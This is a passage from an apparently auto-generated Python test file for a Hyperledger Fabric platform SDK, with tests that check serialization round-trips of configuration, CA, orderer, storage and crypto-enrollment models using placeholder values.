config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
# Construct a json representation of a ConfigPeerKeepalive model
config_peer_keepalive_model_json = {}
config_peer_keepalive_model_json['minInterval'] = '60s'
config_peer_keepalive_model_json['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model_json['deliveryClient'] = config_peer_keepalive_delivery_client_model
# Construct a model instance of ConfigPeerKeepalive by calling from_dict on the json representation
config_peer_keepalive_model = ConfigPeerKeepalive.from_dict(config_peer_keepalive_model_json)
assert config_peer_keepalive_model != False
# Construct a model instance of ConfigPeerKeepalive by calling from_dict on the json representation
config_peer_keepalive_model_dict = ConfigPeerKeepalive.from_dict(config_peer_keepalive_model_json).__dict__
config_peer_keepalive_model2 = ConfigPeerKeepalive(**config_peer_keepalive_model_dict)
# Verify the model instances are equivalent
assert config_peer_keepalive_model == config_peer_keepalive_model2
# Convert model instance back to dict and verify no loss of data
config_peer_keepalive_model_json2 = config_peer_keepalive_model.to_dict()
assert config_peer_keepalive_model_json2 == config_peer_keepalive_model_json
class TestConfigPeerLimits():
"""
Test Class for ConfigPeerLimits
"""
def test_config_peer_limits_serialization(self):
"""
Test serialization/deserialization for ConfigPeerLimits
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_limits_concurrency_model = {} # ConfigPeerLimitsConcurrency
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
# Construct a json representation of a ConfigPeerLimits model
config_peer_limits_model_json = {}
config_peer_limits_model_json['concurrency'] = config_peer_limits_concurrency_model
# Construct a model instance of ConfigPeerLimits by calling from_dict on the json representation
config_peer_limits_model = ConfigPeerLimits.from_dict(config_peer_limits_model_json)
assert config_peer_limits_model != False
# Construct a model instance of ConfigPeerLimits by calling from_dict on the json representation
config_peer_limits_model_dict = ConfigPeerLimits.from_dict(config_peer_limits_model_json).__dict__
config_peer_limits_model2 = ConfigPeerLimits(**config_peer_limits_model_dict)
# Verify the model instances are equivalent
assert config_peer_limits_model == config_peer_limits_model2
# Convert model instance back to dict and verify no loss of data
config_peer_limits_model_json2 = config_peer_limits_model.to_dict()
assert config_peer_limits_model_json2 == config_peer_limits_model_json
class TestCpuHealthStats():
"""
Test Class for CpuHealthStats
"""
def test_cpu_health_stats_serialization(self):
"""
Test serialization/deserialization for CpuHealthStats
"""
# Construct dict forms of any model objects needed in order to build this model.
cpu_health_stats_times_model = {} # CpuHealthStatsTimes
cpu_health_stats_times_model['idle'] = 131397203
cpu_health_stats_times_model['irq'] = 6068640
cpu_health_stats_times_model['nice'] = 0
cpu_health_stats_times_model['sys'] = 9652328
cpu_health_stats_times_model['user'] = 4152187
# Construct a json representation of a CpuHealthStats model
cpu_health_stats_model_json = {}
cpu_health_stats_model_json['model'] = 'Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz'
cpu_health_stats_model_json['speed'] = 2592
cpu_health_stats_model_json['times'] = cpu_health_stats_times_model
# Construct a model instance of CpuHealthStats by calling from_dict on the json representation
cpu_health_stats_model = CpuHealthStats.from_dict(cpu_health_stats_model_json)
assert cpu_health_stats_model != False
# Construct a model instance of CpuHealthStats by calling from_dict on the json representation
cpu_health_stats_model_dict = CpuHealthStats.from_dict(cpu_health_stats_model_json).__dict__
cpu_health_stats_model2 = CpuHealthStats(**cpu_health_stats_model_dict)
# Verify the model instances are equivalent
assert cpu_health_stats_model == cpu_health_stats_model2
# Convert model instance back to dict and verify no loss of data
cpu_health_stats_model_json2 = cpu_health_stats_model.to_dict()
assert cpu_health_stats_model_json2 == cpu_health_stats_model_json
class TestCpuHealthStatsTimes():
"""
Test Class for CpuHealthStatsTimes
"""
def test_cpu_health_stats_times_serialization(self):
"""
Test serialization/deserialization for CpuHealthStatsTimes
"""
# Construct a json representation of a CpuHealthStatsTimes model
cpu_health_stats_times_model_json = {}
cpu_health_stats_times_model_json['idle'] = 131397203
cpu_health_stats_times_model_json['irq'] = 6068640
cpu_health_stats_times_model_json['nice'] = 0
cpu_health_stats_times_model_json['sys'] = 9652328
cpu_health_stats_times_model_json['user'] = 4152187
# Construct a model instance of CpuHealthStatsTimes by calling from_dict on the json representation
cpu_health_stats_times_model = CpuHealthStatsTimes.from_dict(cpu_health_stats_times_model_json)
assert cpu_health_stats_times_model != False
# Construct a model instance of CpuHealthStatsTimes by calling from_dict on the json representation
cpu_health_stats_times_model_dict = CpuHealthStatsTimes.from_dict(cpu_health_stats_times_model_json).__dict__
cpu_health_stats_times_model2 = CpuHealthStatsTimes(**cpu_health_stats_times_model_dict)
# Verify the model instances are equivalent
assert cpu_health_stats_times_model == cpu_health_stats_times_model2
# Convert model instance back to dict and verify no loss of data
cpu_health_stats_times_model_json2 = cpu_health_stats_times_model.to_dict()
assert cpu_health_stats_times_model_json2 == cpu_health_stats_times_model_json
class TestCreateCaBodyConfigOverride():
"""
Test Class for CreateCaBodyConfigOverride
"""
def test_create_ca_body_config_override_serialization(self):
"""
Test serialization/deserialization for CreateCaBodyConfigOverride
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_cors_model = {} # ConfigCACors
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
config_ca_tls_clientauth_model = {} # ConfigCATlsClientauth
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
config_ca_tls_model = {} # ConfigCATls
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
config_ca_ca_model = {} # ConfigCACa
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
config_ca_crl_model = {} # ConfigCACrl
config_ca_crl_model['expiry'] = '24h'
identity_attrs_model = {} # IdentityAttrs
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
config_ca_registry_identities_item_model = {} # ConfigCARegistryIdentitiesItem
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
config_ca_registry_model = {} # ConfigCARegistry
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
config_ca_db_tls_client_model = {} # ConfigCADbTlsClient
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
config_ca_db_tls_model = {} # ConfigCADbTls
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
config_ca_db_model = {} # ConfigCADb
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
config_ca_affiliations_model = {} # ConfigCAAffiliations
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
config_ca_csr_keyrequest_model = {} # ConfigCACsrKeyrequest
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
config_ca_csr_names_item_model = {} # ConfigCACsrNamesItem
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
config_ca_csr_ca_model = {} # ConfigCACsrCa
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
config_ca_csr_model = {} # ConfigCACsr
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
config_ca_idemix_model = {} # ConfigCAIdemix
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_ca_intermediate_parentserver_model = {} # ConfigCAIntermediateParentserver
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
config_ca_intermediate_enrollment_model = {} # ConfigCAIntermediateEnrollment
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
config_ca_intermediate_tls_client_model = {} # ConfigCAIntermediateTlsClient
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
config_ca_intermediate_tls_model = {} # ConfigCAIntermediateTls
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
config_ca_intermediate_model = {} # ConfigCAIntermediate
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
config_ca_cfg_identities_model = {} # ConfigCACfgIdentities
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
config_ca_cfg_model = {} # ConfigCACfg
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
metrics_model = {} # Metrics
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
config_ca_signing_default_model = {} # ConfigCASigningDefault
config_ca_signing_default_model['usage'] = ['cert sign']
config_ca_signing_default_model['expiry'] = '8760h'
config_ca_signing_profiles_ca_caconstraint_model = {} # ConfigCASigningProfilesCaCaconstraint
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
config_ca_signing_profiles_ca_model = {} # ConfigCASigningProfilesCa
config_ca_signing_profiles_ca_model['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model['expiry'] = '43800h'
config_ca_signing_profiles_ca_model['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
config_ca_signing_profiles_tls_model = {} # ConfigCASigningProfilesTls
config_ca_signing_profiles_tls_model['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model['expiry'] = '43800h'
config_ca_signing_profiles_model = {} # ConfigCASigningProfiles
config_ca_signing_profiles_model['ca'] = config_ca_signing_profiles_ca_model
config_ca_signing_profiles_model['tls'] = config_ca_signing_profiles_tls_model
config_ca_signing_model = {} # ConfigCASigning
config_ca_signing_model['default'] = config_ca_signing_default_model
config_ca_signing_model['profiles'] = config_ca_signing_profiles_model
config_ca_create_model = {} # ConfigCACreate
config_ca_create_model['cors'] = config_ca_cors_model
config_ca_create_model['debug'] = False
config_ca_create_model['crlsizelimit'] = 512000
config_ca_create_model['tls'] = config_ca_tls_model
config_ca_create_model['ca'] = config_ca_ca_model
config_ca_create_model['crl'] = config_ca_crl_model
config_ca_create_model['registry'] = config_ca_registry_model
config_ca_create_model['db'] = config_ca_db_model
config_ca_create_model['affiliations'] = config_ca_affiliations_model
config_ca_create_model['csr'] = config_ca_csr_model
config_ca_create_model['idemix'] = config_ca_idemix_model
config_ca_create_model['BCCSP'] = bccsp_model
config_ca_create_model['intermediate'] = config_ca_intermediate_model
config_ca_create_model['cfg'] = config_ca_cfg_model
config_ca_create_model['metrics'] = metrics_model
config_ca_create_model['signing'] = config_ca_signing_model
# Construct a json representation of a CreateCaBodyConfigOverride model
create_ca_body_config_override_model_json = {}
create_ca_body_config_override_model_json['ca'] = config_ca_create_model
create_ca_body_config_override_model_json['tlsca'] = config_ca_create_model
# Construct a model instance of CreateCaBodyConfigOverride by calling from_dict on the json representation
create_ca_body_config_override_model = CreateCaBodyConfigOverride.from_dict(create_ca_body_config_override_model_json)
assert create_ca_body_config_override_model != False
# Construct a model instance of CreateCaBodyConfigOverride by calling from_dict on the json representation
create_ca_body_config_override_model_dict = CreateCaBodyConfigOverride.from_dict(create_ca_body_config_override_model_json).__dict__
create_ca_body_config_override_model2 = CreateCaBodyConfigOverride(**create_ca_body_config_override_model_dict)
# Verify the model instances are equivalent
assert create_ca_body_config_override_model == create_ca_body_config_override_model2
# Convert model instance back to dict and verify no loss of data
create_ca_body_config_override_model_json2 = create_ca_body_config_override_model.to_dict()
assert create_ca_body_config_override_model_json2 == create_ca_body_config_override_model_json
class TestCreateCaBodyResources():
"""
Test Class for CreateCaBodyResources
"""
def test_create_ca_body_resources_serialization(self):
"""
Test serialization/deserialization for CreateCaBodyResources
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
resource_object_model = {} # ResourceObject
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a json representation of a CreateCaBodyResources model
create_ca_body_resources_model_json = {}
create_ca_body_resources_model_json['ca'] = resource_object_model
# Construct a model instance of CreateCaBodyResources by calling from_dict on the json representation
create_ca_body_resources_model = CreateCaBodyResources.from_dict(create_ca_body_resources_model_json)
assert create_ca_body_resources_model != False
# Construct a model instance of CreateCaBodyResources by calling from_dict on the json representation
create_ca_body_resources_model_dict = CreateCaBodyResources.from_dict(create_ca_body_resources_model_json).__dict__
create_ca_body_resources_model2 = CreateCaBodyResources(**create_ca_body_resources_model_dict)
# Verify the model instances are equivalent
assert create_ca_body_resources_model == create_ca_body_resources_model2
# Convert model instance back to dict and verify no loss of data
create_ca_body_resources_model_json2 = create_ca_body_resources_model.to_dict()
assert create_ca_body_resources_model_json2 == create_ca_body_resources_model_json
class TestCreateCaBodyStorage():
"""
Test Class for CreateCaBodyStorage
"""
def test_create_ca_body_storage_serialization(self):
"""
Test serialization/deserialization for CreateCaBodyStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a CreateCaBodyStorage model
create_ca_body_storage_model_json = {}
create_ca_body_storage_model_json['ca'] = storage_object_model
# Construct a model instance of CreateCaBodyStorage by calling from_dict on the json representation
create_ca_body_storage_model = CreateCaBodyStorage.from_dict(create_ca_body_storage_model_json)
assert create_ca_body_storage_model != False
# Construct a model instance of CreateCaBodyStorage by calling from_dict on the json representation
create_ca_body_storage_model_dict = CreateCaBodyStorage.from_dict(create_ca_body_storage_model_json).__dict__
create_ca_body_storage_model2 = CreateCaBodyStorage(**create_ca_body_storage_model_dict)
# Verify the model instances are equivalent
assert create_ca_body_storage_model == create_ca_body_storage_model2
# Convert model instance back to dict and verify no loss of data
create_ca_body_storage_model_json2 = create_ca_body_storage_model.to_dict()
assert create_ca_body_storage_model_json2 == create_ca_body_storage_model_json
class TestCreateOrdererRaftBodyResources():
"""
Test Class for CreateOrdererRaftBodyResources
"""
def test_create_orderer_raft_body_resources_serialization(self):
"""
Test serialization/deserialization for CreateOrdererRaftBodyResources
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
resource_object_model = {} # ResourceObject
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a json representation of a CreateOrdererRaftBodyResources model
create_orderer_raft_body_resources_model_json = {}
create_orderer_raft_body_resources_model_json['orderer'] = resource_object_model
create_orderer_raft_body_resources_model_json['proxy'] = resource_object_model
# Construct a model instance of CreateOrdererRaftBodyResources by calling from_dict on the json representation
create_orderer_raft_body_resources_model = CreateOrdererRaftBodyResources.from_dict(create_orderer_raft_body_resources_model_json)
assert create_orderer_raft_body_resources_model != False
# Construct a model instance of CreateOrdererRaftBodyResources by calling from_dict on the json representation
create_orderer_raft_body_resources_model_dict = CreateOrdererRaftBodyResources.from_dict(create_orderer_raft_body_resources_model_json).__dict__
create_orderer_raft_body_resources_model2 = CreateOrdererRaftBodyResources(**create_orderer_raft_body_resources_model_dict)
# Verify the model instances are equivalent
assert create_orderer_raft_body_resources_model == create_orderer_raft_body_resources_model2
# Convert model instance back to dict and verify no loss of data
create_orderer_raft_body_resources_model_json2 = create_orderer_raft_body_resources_model.to_dict()
assert create_orderer_raft_body_resources_model_json2 == create_orderer_raft_body_resources_model_json
class TestCreateOrdererRaftBodyStorage():
"""
Test Class for CreateOrdererRaftBodyStorage
"""
def test_create_orderer_raft_body_storage_serialization(self):
"""
Test serialization/deserialization for CreateOrdererRaftBodyStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a CreateOrdererRaftBodyStorage model
create_orderer_raft_body_storage_model_json = {}
create_orderer_raft_body_storage_model_json['orderer'] = storage_object_model
# Construct a model instance of CreateOrdererRaftBodyStorage by calling from_dict on the json representation
create_orderer_raft_body_storage_model = CreateOrdererRaftBodyStorage.from_dict(create_orderer_raft_body_storage_model_json)
assert create_orderer_raft_body_storage_model != False
# Construct a model instance of CreateOrdererRaftBodyStorage by calling from_dict on the json representation
create_orderer_raft_body_storage_model_dict = CreateOrdererRaftBodyStorage.from_dict(create_orderer_raft_body_storage_model_json).__dict__
create_orderer_raft_body_storage_model2 = CreateOrdererRaftBodyStorage(**create_orderer_raft_body_storage_model_dict)
# Verify the model instances are equivalent
assert create_orderer_raft_body_storage_model == create_orderer_raft_body_storage_model2
# Convert model instance back to dict and verify no loss of data
create_orderer_raft_body_storage_model_json2 = create_orderer_raft_body_storage_model.to_dict()
assert create_orderer_raft_body_storage_model_json2 == create_orderer_raft_body_storage_model_json
class TestCreateOrdererResponse():
"""
Test Class for CreateOrdererResponse
"""
def test_create_orderer_response_serialization(self):
"""
Test serialization/deserialization for CreateOrdererResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
node_ou_model = {} # NodeOu
node_ou_model['enabled'] = True
msp_crypto_field_ca_model = {} # MspCryptoFieldCa
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_tlsca_model = {} # MspCryptoFieldTlsca
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_component_model = {} # MspCryptoFieldComponent
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_model = {} # MspCryptoField
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
orderer_response_resources_model = {} # OrdererResponseResources
orderer_response_resources_model['orderer'] = generic_resources_model
orderer_response_resources_model['proxy'] = generic_resources_model
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
orderer_response_storage_model = {} # OrdererResponseStorage
orderer_response_storage_model['orderer'] = storage_object_model
orderer_response_model = {} # OrdererResponse
orderer_response_model['id'] = 'component1'
orderer_response_model['dep_component_id'] = 'admin'
orderer_response_model['api_url'] = 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
orderer_response_model['display_name'] = 'orderer'
orderer_response_model['cluster_id'] = 'mzdqhdifnl'
orderer_response_model['cluster_name'] = 'ordering service 1'
orderer_response_model['grpcwp_url'] = 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
orderer_response_model['location'] = 'ibmcloud'
orderer_response_model['operations_url'] = 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
orderer_response_model['orderer_type'] = 'raft'
orderer_response_model['config_override'] = { 'foo': 'bar' }
orderer_response_model['consenter_proposal_fin'] = True
orderer_response_model['node_ou'] = node_ou_model
orderer_response_model['msp'] = msp_crypto_field_model
orderer_response_model['msp_id'] = 'Org1'
orderer_response_model['resources'] = orderer_response_resources_model
orderer_response_model['scheme_version'] = 'v1'
orderer_response_model['storage'] = orderer_response_storage_model
orderer_response_model['system_channel_id'] = 'testchainid'
orderer_response_model['tags'] = ['fabric-ca']
orderer_response_model['timestamp'] = 1537262855753
orderer_response_model['type'] = 'fabric-peer'
orderer_response_model['version'] = '1.4.6-1'
orderer_response_model['zone'] = '-'
# Construct a json representation of a CreateOrdererResponse model
create_orderer_response_model_json = {}
create_orderer_response_model_json['created'] = [orderer_response_model]
# Construct a model instance of CreateOrdererResponse by calling from_dict on the json representation
create_orderer_response_model = CreateOrdererResponse.from_dict(create_orderer_response_model_json)
assert create_orderer_response_model != False
# Construct a model instance of CreateOrdererResponse by calling from_dict on the json representation
create_orderer_response_model_dict = CreateOrdererResponse.from_dict(create_orderer_response_model_json).__dict__
create_orderer_response_model2 = CreateOrdererResponse(**create_orderer_response_model_dict)
# Verify the model instances are equivalent
assert create_orderer_response_model == create_orderer_response_model2
# Convert model instance back to dict and verify no loss of data
create_orderer_response_model_json2 = create_orderer_response_model.to_dict()
assert create_orderer_response_model_json2 == create_orderer_response_model_json
class TestCreatePeerBodyStorage():
"""
Test Class for CreatePeerBodyStorage
"""
def test_create_peer_body_storage_serialization(self):
"""
Test serialization/deserialization for CreatePeerBodyStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a CreatePeerBodyStorage model
create_peer_body_storage_model_json = {}
create_peer_body_storage_model_json['peer'] = storage_object_model
create_peer_body_storage_model_json['statedb'] = storage_object_model
# Construct a model instance of CreatePeerBodyStorage by calling from_dict on the json representation
create_peer_body_storage_model = CreatePeerBodyStorage.from_dict(create_peer_body_storage_model_json)
assert create_peer_body_storage_model != False
# Construct a model instance of CreatePeerBodyStorage by calling from_dict on the json representation
create_peer_body_storage_model_dict = CreatePeerBodyStorage.from_dict(create_peer_body_storage_model_json).__dict__
create_peer_body_storage_model2 = CreatePeerBodyStorage(**create_peer_body_storage_model_dict)
# Verify the model instances are equivalent
assert create_peer_body_storage_model == create_peer_body_storage_model2
# Convert model instance back to dict and verify no loss of data
create_peer_body_storage_model_json2 = create_peer_body_storage_model.to_dict()
assert create_peer_body_storage_model_json2 == create_peer_body_storage_model_json
class TestCryptoEnrollmentComponent():
"""
Test Class for CryptoEnrollmentComponent
"""
def test_crypto_enrollment_component_serialization(self):
"""
Test serialization/deserialization for CryptoEnrollmentComponent
"""
# Construct a json representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model_json = {}
crypto_enrollment_component_model_json['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of CryptoEnrollmentComponent by calling from_dict on the json representation
crypto_enrollment_component_model = CryptoEnrollmentComponent.from_dict(crypto_enrollment_component_model_json)
assert crypto_enrollment_component_model != False
# Construct a model instance of CryptoEnrollmentComponent by calling from_dict on the json representation
crypto_enrollment_component_model_dict = CryptoEnrollmentComponent.from_dict(crypto_enrollment_component_model_json).__dict__
crypto_enrollment_component_model2 = CryptoEnrollmentComponent(**crypto_enrollment_component_model_dict)
# Verify the model instances are equivalent
assert crypto_enrollment_component_model == crypto_enrollment_component_model2
# Convert model instance back to dict and verify no loss of data
crypto_enrollment_component_model_json2 = crypto_enrollment_component_model.to_dict()
assert crypto_enrollment_component_model_json2 == crypto_enrollment_component_model_json
class TestCryptoObject():
"""
Test Class for CryptoObject
"""
def test_crypto_object_serialization(self):
"""
Test serialization/deserialization for CryptoObject
"""
# Construct dict forms of any model objects needed in order to build this model.
crypto_enrollment_component_model = {} # CryptoEnrollmentComponent
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
crypto_object_enrollment_ca_model = {} # CryptoObjectEnrollmentCa
crypto_object_enrollment_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model['port'] = 7054
crypto_object_enrollment_ca_model['name'] = 'ca'
crypto_object_enrollment_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model = {} # CryptoObjectEnrollmentTlsca
crypto_object_enrollment_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model['port'] = 7054
crypto_object_enrollment_tlsca_model['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model['csr_hosts'] = ['testString']
crypto_object_enrollment_model = {} # CryptoObjectEnrollment
crypto_object_enrollment_model['component'] = crypto_enrollment_component_model
crypto_object_enrollment_model['ca'] = crypto_object_enrollment_ca_model
crypto_object_enrollment_model['tlsca'] = crypto_object_enrollment_tlsca_model
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
msp_crypto_comp_model = {} # MspCryptoComp
msp_crypto_comp_model['ekey'] = 'testString'
